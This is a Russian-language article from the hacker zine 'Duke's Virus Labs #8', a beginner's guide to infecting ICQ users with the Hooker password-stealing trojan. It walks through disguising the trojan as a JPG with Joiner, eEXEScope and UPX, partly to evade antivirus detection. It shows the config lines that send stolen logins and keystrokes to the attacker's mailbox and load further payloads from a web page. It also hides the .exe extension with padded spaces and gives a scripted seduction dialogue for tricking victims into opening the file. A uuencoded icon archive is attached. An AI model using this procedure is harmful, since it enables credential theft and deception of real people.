- [Duke's Virus Labs #8] - [Page 36] - Как сделать мыльного трояна (пособие для новичков) (c) by Duke/SMF Эта статья написана под влиянием и чутким руководством Eprst'а, за что ему от меня огромное спасибо :))) Когда я писал эту статью, я делал это не для того, чтобы подтолкнуть читателя на совершение неправоправных деяний, а чтобы повысить ваш уровень знаний. Надеюсь, что после прочтения этой статьи вы уже никогда не попадетесь на описанную удочку ;) Почитайте, как выглядит процесс взлома со стороны хакера... Итак, вам хочется полазить в Internet :) Но у вас на это нет денег :( Ситуация довольно знакомая... Для этого надо найти человека, у которого Интернет уже есть, и взять у него немного Интернета ;)) Научно-технический прогресс зашел достаточно далеко, поэтому применять к жертве пытки для выяснения пароля/логина не придется. Нужно всего лишь подослать потенциальной жертве трояна. Надеюсь, что вы уже заметили - статья называется "как сделать", а не "как написать" мыльный троян. Потому что тот, кто может его написать, тот в моих наставлениях не нуждается, а кто не может - того я учить не буду! А что если у вас нет трояна ? Его нужно достать ! В интеренете их полно, где искать - не скажу (все равно троянские сайты переодически меняют дислокацию), ищите сами. Итак, что входит в комплект начинающего взломщика : - утилита Joiner v1.55 . Позволяет слепить в один файл EXE+EXE или EXE+JPG и так далее... - утилита UPX v0.71 . Упаковщик PE-файлов. Нам же не нужно, чтобы троян не влезал на дискету 8-/ Да и антивирусы не будут орать на трояна... Советую использовать версию 0.71, т.к. она жмет чуть-чуть лучше. - троян Hooker v2.4 (http://hooker.da.ru). Инсталлируется на поражаемом компьютере. Присылает по почте пароли, логины. Ведет лог нажатых клавиш. Может загружать с вашей WEB-страницы исполнимые файлы и запускать их на пораженном компьютере. Троян дважды в час сравнивает дату создания файла, лежащего на вашей странице, с ранее скаченным файлом, и если обнаружены изменения, то выкачивает (с докачкой!) этот файл и запускает его. Это позволяет заслать на вражеский компьютер маленького троянчика, а со временем "подгрузить" другие трояны (например, ворующие номера/пароли асек), бакдоры, вирусы. - eXeScope - редактор ресурсов для EXE-файлов. Нужен нам, чтобы поменять иконку у трояна. Вместо нго можно использовать программу Microangelo. Выберем простейший (и прикольнейший ;) способ засылания троянца к юзеру - посылание картинки через ICQ. Тот, кто не знает что такое ICQ, пусть лучше прогуляется на www.icq.com или www.mirabilis.com. А если у него еще и нет Интернета, то тем более эта статья не для него. Для осуществления этой операции нам нужно иметь набор перечисленных утилит и ICQ. Надеюсь, картинки есть у всех ;)) Итак, как это делается. Нам нужно к эротической картинке добавить троянца, а затем заслать его юзеру. 1. Нужно отредактировать иконку у файлов утилиты Joiner. Для этого запускаем программу EXESCOPE.EXE, выбираем в меню "File/Open/All files", поочередно открываем файлы JOINER.1 и JOINER.2. Выбираем в дереве найденных ресурсов опцию "Icon/MAINICON/1", выбираем в меню "File/Import" файл с нужной иконкой. Если мы прикрепляем троянца к картинке JPG, то нужно открывать файл JPG.ICO. Сохраните изменения в файле. Таким образом на утилиту Joiner установлены иконки от JPEG. 2. Поскольку файлы Joiner'а очень большие, то следует их запаковать. Иначе картинка будет подозрительно большой по размеру. Почему мы не могли запаковать файлы раньше ? А потому, что тогда мы бы не смогли отредактировать иконку ! Берем утилиту UPX 0.71 (она пакует лучше более новых версий), запускаем ее UPX.EXE JOINER.1 --force-compress UPX.EXE JOINER.2 --force-compress и получаем зажатые более чем в 2 раза файлы. 3. Конфигурируем троянца. Предлагаю вам завести бесплатный ящик на www.mail.ru или www.chat.ru. На www.chat.ru заодно вам дадут 3Mb места под страницу для подгружаемых троянов. Если вы зарегистрировались на www.chat.ru под именем XXXXX, то в файле hkconf.ini нужно исправить несколько опций : host=win.chat.ru mailfrom=XXXXX@chat.ru mailto=XXXXX@chat.ru http= <-- а вот здесь надо написать адрес вашей сираницы и имя файла с подгружаемым трояном, например www.chat.ru/~XXXXX/file.exe Если у вас ящик на www.mail.ru, то написать нужно так : host=smtp.mail.ru mailfrom=XXXXX@mail.ru mailto=XXXXX@mail.ru После заполнения конфигурационного файла, запускайте HKCONF.EXE HOOKER.EXE HKCONF.INI 4. Пора склеивать ! Запускаем JOINER.EXE, выбираем в качестве первого файла файл HOOKER.EXE, вместо второго файла - картинку. Если отключить посылку сообщения по аське, то размер полученного троянца будет на ~100Kb меньше ! Если вы не отключаете оповещение, то хотя бы поставьте СВОЙ номер аськи ;-) 5. В папке с JOINER.EXE создан файл RESULT.EXE. Это готовый троян. Но его нужно переименовать во что-нибудь типа lena1.jpg<240 пробелов>.exe При посылке этого файла по ICQ получатель будет видеть только "lena1.jpg". При просмотре этого файла под DOS (например с помощью Dos Navigator), то вы увидите имя LENA1~1.JPG. Это такая особенность DOS - первые три символа после первой точки в имени файла считаются расширением файла, а если после них есть еще и другие символы, то вместо них в конец имени добавляется "~1". 6. А теперь непосредственно охмурение юзера. Нужно в опциях ICQ поставить "Sex: Female" для привлечения потенциальных жертв. И вызвать одного из парней на чат (выбирайте Find Random Partner) под видом девицы ;-)) В процессе разговора парень наверняка спросит вас о наличии фотки. Вот как примерно выглядит такой разговор (в переводе на русский) : OH : А у тебя есть фотка ? ТЫ : Да. ОН : Пришли мне ее ! ТЫ : Ну... не знаю... мне как-то неудобно... ОН : Почему ? ТЫ : Ну... я там немного обнажена... точнее говоря совсем голая... ОН : Плиииииззззз !!!!!! Пришли мне свою фоткуууу !!!! ТЫ : А ты мне дашь свою ? ОН : Дам !!! Только пришли мне свою фотку !!!!!! Вот тут наступает пора посылки фотографии юзеру. Он уже доведен до температуры каления, и вы его берете голыми руками (точнее, телом ;-)) После получения он с нетерпением ткнет мышой в фотку, позабыв о всякой осторожности. А вам только этого и надо ! Троян честно продемонстрирует ему обнаженную фотку, он немного побалдеет, подкинет вам пару комплиментов и спросит о других ваших фотках. Но вы на это не обращайте никакого внимания - вам уже пора лезть в почтовый ящик за письмом от Hooker'а ;-)))) Почему юзер именно ткнет мышой, а не запустит вьювер ? Потому что после получения файла аська выдает запрос - "Идти в директорию со скаченным файлом?". Юзер торопится увидеть "ваше" тело, и не будет возиться со вьювером, а просто полезет в эту директорию. Почему юзеру не стоит давать никаких других фоток ? Когда по аське приходит файл от нового человека, то в папке "Received Files" создается папка из имени юзера или его UIN'а. В этой папке будет лежать ваша фотка. Только один файл ! У него очень хорошая иконка - как у JPG-файла под PhotoShop. Поэтому юзер не сможет сравнить иконку вашего файла с настоящей иконкой и она не вызовет никаких подозрений ! Со временем можно (используя Hooker) заслать на чужой компьютер целую гору троянов и бакдоров, апгрейдить самого Hooker'а, но все дальнейшее зависит только от вашей фантазии, ума юзера и проворности аверов... Категорически не рекомендую использовать троянца Naebi Coceda - он посылает добытое вашим трудом барахло (пароли/логины/UIN'ы) на адрес автора, поэтому они вам вряд ли достанутся. И напоследок несколько слов о моральной стороне дела... Не злоупотребляйте троянами, не делайте деструкции на захваченном компьютере (подумайте - каково бы было вам!), и не пользуйтесь добытой информацией, если в этом нет крайней нужды. P.S. Поскольку достать подходящие иконки не так просто, прикладываю иконки для JPG,ZIP,HLP файлов и setup.exe файлов. section 1 of file icons.zip < uuencode by Dos Navigator > table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 icons.zip M4$L#!!0````(`!:7$2>PE%/.-0$``/X"```(````2$5,4"Y)0T]UDK%.PS`0* MAO\T1+"%B96,["A3AO`(EBI+D7@)MHS-@F#C$7B(BLE+'B4C8SYX?N"L.)\@]2NM88,+,>B%88B3#/XRCB//0 MLD)Z@2A.,F1)/BY$X5+LBA0_7ER"U!<)4G\2%*E?!<6?]]X$0[Q%P1OZFRBX0 M743OHL"LZ$UP.T,37"_8U*O@M!J^Q&`!3F6MBX#B53=OZW@"T"F&?3P!)C0AC MU"+`!%D0`29L>0OWT#OJ9+_UA`EA_ZB\"L]!]WNL0B/G>WMBL<4)UQ]Y?N!=_ MBBK@;W0I_O\[ST'T2;241/,UT903#1DMO#P#NPEH!^">M9+SFC/7U_$<&=>S4 MD9/=[,#)^[(CYP)[Y0;D-**D"2T=N-W,/8[<;VE)XA=02P,$%`````@`%)X+( M)W[$5S<;`0``_@(```P```!)3E-4,S)?,2Y)0T^ED;].PS`0QJ\-4K-!%^:,- MC)8\=$R'2(Q]BX[0+0.#+66(-XM'86+-P(,P,#!&"B(@53KN['.#RA\)\=E?0 M+K_[',N*`68TBN(,6,]S@'.J%^2"O`;.3T(&<_A!-DRP-A8>]-)U'57N8)B`6 M&`L/;O'CBQH=I83]391.?!^5%AQR?93+@BE7_\V=L]/Y,JWJVD*N=8DLI16.$ M%AHC/&3,^6H)0%_'UI5MXY?',>=4Z<#:WD.)P2@VI]" M3[^NVF"OF*'URR6^;C=85<+O=XA7U[A_2GR+N"5^$,:DR.Z@-G`]*7`5M):+) M3GRYJQ>[7SCHN_W<)]D>%MA#1IZ1@6W(Y9$A^9'"R==7$N!,@$``/X"```,````24Y35#,R7S(N24-/A9*_3L,P% M$,:O)9(](*43C%1,?0M2*2,/D\W9>EMNZV,@\1068LQ#("8&AHBEF3#?V4Y4B M(BH^^[/]\UD7_PG1"F6[W9#J8TUT@WX';^&*-%[$&*WI@CA68DZ=%@R\]^AU$ M)L1*(:1.BTYILU3G'*=1.6A[#$'.X^".%]PNV#$C]RC"F9N8PCF9N:&!C,."^ MQ[[?YSAEKF\;:06:>-^(B\I<;UR(2ES4E22U;)&?ZBKMQ78L8%/$^/V.)29V( M0Z7YGI_$.AM"@Z_TK\IT;'ZS'0CK^YF)+='U) M&2-%Q'/^_(<7Z]-IBIGS:6=V63(_0;Z>?`U3?,QO))/PCQS>2O\P&'\W&E^&U MX(D,?`6O8/K+3+-6L)F,>?,"O\-?\/<%!S7#GLH?4$L#!!0````(`/B6$2=.X MKMB?^0```/X"```(````2E!%1RY)0T^MDCURQ"`,A>7=S&2[79JTN,PQ'.',O'2>N*5%'T9T,RLUV>K,4?$NPS-L#$,<\/$'U>`-YX?.><.3]`ZB]:S M@PL\T:(7+(L-$GRS;1N/,D-Z`9$-$C(E/ZQ;[?JS\0UTV:G.#W=]Q=N)W"J>,XQY#I$"[/W76!#-ISE6S,R*W<>B4?IR.!'(#EC]2F1COW2;3PB3*?C M1(`G&]OV#*Z/$\"+K:\6F\49/+]$CD[PARAG+A8)9+'ON^UH3%#-Q8=OV>?>7 M?DJ/S(@W9G[#4#`:(U[=N'D].^"V(%":5I45V<'$P>)GJ[F59%VKVUMZ<)YU; M)>N*./T&N]OZQ5G.=@87S@K4=.GGBQ:""F5RUP*/^7XIG**X?^\/;/66/OM:$ MF@A4&7E";N!VR^BZ<:W^A]]&)3A>\\VBU?KL_!ZL53@Z/YF$B1P',QR8?^=1# M/WG.;"G]4@NR?]P]8VO8 M(<<'*3^@U+BX<"F:VK:EC/4#UHZ+"Y=RTU+;6R3'=M;P->Z$X"QFK>N8;5>P< M>#_\UTS<`8*:#?NYEP@LC3%W%G'3-)JE]7ZEGIRG!N+]PAC.V5_@OM'T,+/EX MDOI3J4=5J_U"E7B_/3^ZJW/#^`XD=FY`/Y1)9D^T!F- M7U!+`0(4`!0````(`!:7$2>PE%/.-0$``/X"```(````````````(```````T M``!(14Q0+DE#3U!+`0(4`!0````(`!2>"R=^Q%